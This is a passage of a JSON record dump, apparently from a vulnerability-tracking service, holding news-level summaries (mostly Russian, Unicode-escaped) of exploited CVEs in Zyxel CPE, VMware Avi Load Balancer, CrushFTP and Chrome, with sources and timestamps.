\u043f\u043e\u0437\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0435\u0440\u0435\u0434 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u041e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442.\n\n\u0410 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f 0-day, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0441\u0435\u0440\u0438\u0438 Zyxel CPE, \u0443\u0436\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u0435\u0442\u0441\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u043c \u043f\u043e\u043f\u044b\u0442\u043a\u0430\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\nGreyNoise \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0435\u0439 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0443\u0442\u0435\u0447\u043a\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u043b\u0438 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044e \u0432 \u0441\u0435\u0442\u044c.\n\nCVE-2024-40891 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u043d\u0435 \u0431\u044b\u043b\u0430 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430.\n\n\u041e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0438 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 VulnCheck \u0432 \u0438\u044e\u043b\u0435 2024 \u0433\u043e\u0434\u0430.\n\n\u0422\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u044f GreyNoise \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0430\u0442\u0430\u043a \u0438\u0441\u0445\u043e\u0434\u0438\u043b\u0438 \u0441 \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u043d\u0430 \u0422\u0430\u0439\u0432\u0430\u043d\u0435.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Censys, \u0432 \u0441\u0435\u0442\u0438 \u043d\u0430\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435\u00a01500 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432.\n\nCVE-2024-40891 \u043e\u0447\u0435\u043d\u044c \u0441\u0445\u043e\u0436\u0430 \u0441 CVE-2024-40890, \u0433\u043b\u0430\u0432\u043d\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0435\u0440\u0432\u0430\u044f \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0430 \u043d\u0430 Telnet, \u0430 \u0432\u0442\u043e\u0440\u0430\u044f \u2014 \u043d\u0430 HTTP.\n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441\u043b\u0443\u0436\u0431.\n\nVulnCheck \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430\u0434 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0441 \u0442\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439.\n\n\u0412 Zyxel \u043f\u043e\u043a\u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u0440\u0443\u0435\u0442 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432\u0430\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043a \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f Zyxel CPE \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c\u0438 IP-\u0430\u0434\u0440\u0435\u0441\u0430\u043c\u0438.", "creation_timestamp": "2025-01-29T11:50:05.000000Z"}, {"uuid": "f2af93b5-eead-4ec2-86d8-6427dffac311", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "https://t.me/true_secator/6669", "content": "\u041f\u043e \u0443\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0441\u0435\u0433\u043e\u0434\u043d\u044f VMware Avi Load Balancer \u0438 Zyxel CPE.\n\n\u0427\u0442\u043e \u043a\u0430\u0441\u0430\u0435\u043c\u043e \u043f\u0435\u0440\u0432\u043e\u0439 Broadcom \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 VMware Avi Load Balancer, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445.\n\nCVE-2025-22217 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS: 8,6 \u0438 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0414\u0430\u043d\u0438\u044d\u043b\u043e\u043c \u041a\u0443\u043a\u0443\u0447\u043a\u0430 \u0438 \u041c\u0430\u0442\u0435\u0443\u0448\u043e\u043c \u0414\u0430\u0440\u0434\u0430.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0438\u043c\u0435\u044e\u0449\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438, \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 VMware Avi Load Balancer 30.1.1 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 30.1.2-2p2), 30.1.2 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 30.1.2-2p2), 30.2.1 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 30.2.1-2p5) \u0438 30.2.2 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 30.2.2-2p2)\n\nBroadcom \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u0432\u0435\u0440\u0441\u0438\u0438 22.x \u0438 21.x \u043d\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2025-22217.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u044e 30.1.1, \u0434\u043e\u043b\u0436\u043d\u044b \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e 30.1.2 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0435\u0440\u0435\u0434 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u041e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442.\n\n\u0410 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f 0-day, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0441\u0435\u0440\u0438\u0438 Zyxel CPE, \u0443\u0436\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u0435\u0442\u0441\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u043c \u043f\u043e\u043f\u044b\u0442\u043a\u0430\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\nGreyNoise \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0435\u0439 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0443\u0442\u0435\u0447\u043a\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u043b\u0438 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044e \u0432 \u0441\u0435\u0442\u044c.\n\nCVE-2024-40891 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u043d\u0435 \u0431\u044b\u043b\u0430 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430.\n\n\u041e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0438 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 VulnCheck \u0432 \u0438\u044e\u043b\u0435 2024 \u0433\u043e\u0434\u0430.\n\n\u0422\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u044f GreyNoise \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0430\u0442\u0430\u043a \u0438\u0441\u0445\u043e\u0434\u0438\u043b\u0438 \u0441 \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u043d\u0430 \u0422\u0430\u0439\u0432\u0430\u043d\u0435.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Censys, \u0432 \u0441\u0435\u0442\u0438 \u043d\u0430\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435\u00a01500 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432.\n\nCVE-2024-40891 \u043e\u0447\u0435\u043d\u044c \u0441\u0445\u043e\u0436\u0430 \u0441 CVE-2024-40890, \u0433\u043b\u0430\u0432\u043d\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0435\u0440\u0432\u0430\u044f \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0430 \u043d\u0430 Telnet, \u0430 \u0432\u0442\u043e\u0440\u0430\u044f \u2014 \u043d\u0430 HTTP.\n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441\u043b\u0443\u0436\u0431.\n\nVulnCheck \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430\u0434 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0441 \u0442\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439.\n\n\u0412 Zyxel \u043f\u043e\u043a\u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u0440\u0443\u0435\u0442 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432\u0430\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043a \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f Zyxel CPE \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c\u0438 IP-\u0430\u0434\u0440\u0435\u0441\u0430\u043c\u0438.", "creation_timestamp": "2025-01-29T11:50:05.000000Z"}, {"uuid": "f132b225-6284-418f-aea8-08817055f58b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "https://t.me/ctinow/216309", "content": "https://ift.tt/1LD0WFf\nOver 1,400 CrushFTP internet-facing servers vulnerable to CVE-2024-4040 bug", "creation_timestamp": "2024-04-26T11:31:38.000000Z"}, {"uuid": "53990727-c1eb-436d-a302-cdf175ab3f4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4058", "type": "seen", "source": "https://t.me/ctinow/216247", "content": "https://ift.tt/afIyc2h\nGoogle fixed critical Chrome vulnerability CVE-2024-4058", "creation_timestamp": "2024-04-25T10:36:34.000000Z"}, {"uuid": "be82f4b4-a128-4936-bff7-6d75591647e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "exploited", "source": "https://t.me/true_secator/5682", "content": "Shadowserver \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 (\u043e\u0431 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0435 \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043c\u0443\u0434\u0430\u043a\u043e\u0432), \u0447\u0442\u043e \u0431\u043e\u043b\u0435\u0435 1400 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 CrushFTP \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a (\u0438\u0437 5232 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Shodan), \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u0443 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 (SSTI) \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0440\u0430\u043d\u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0443\u044e\u0441\u044f \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 0-day.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 CVE-2024-4040 \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 \u0438\u0437 \u00ab\u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b\u00bb VFS \u0432 \u0441\u0432\u043e\u0435\u043c \u041f\u041e \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0438\u0439 \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u043c\u0443 \u0447\u0442\u0435\u043d\u0438\u044e \u0444\u0430\u0439\u043b\u043e\u0432.\n\n\u041d\u043e \u043d\u0430 \u0434\u0435\u043b\u0435 \u0436\u0435 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 RCE \u0432 \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445.\n\n\u0412 \u043f\u044f\u0442\u043d\u0438\u0446\u0443 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u043d\u043e \u0432\u043e\u0437 \u0438 \u043d\u044b\u043d\u0435 \u0442\u0430\u043c.\n\n\u0422\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c Rapid7 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0437\u0430\u044f\u0432\u0438\u0432, \u0447\u0442\u043e \u043e\u043d\u0430 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043d\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0431\u0435\u0437 \u043e\u0441\u043e\u0431\u044b\u0445 \u0442\u0440\u0443\u0434\u043d\u043e\u0441\u0442\u0435\u0439.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f root, \u043d\u043e \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e 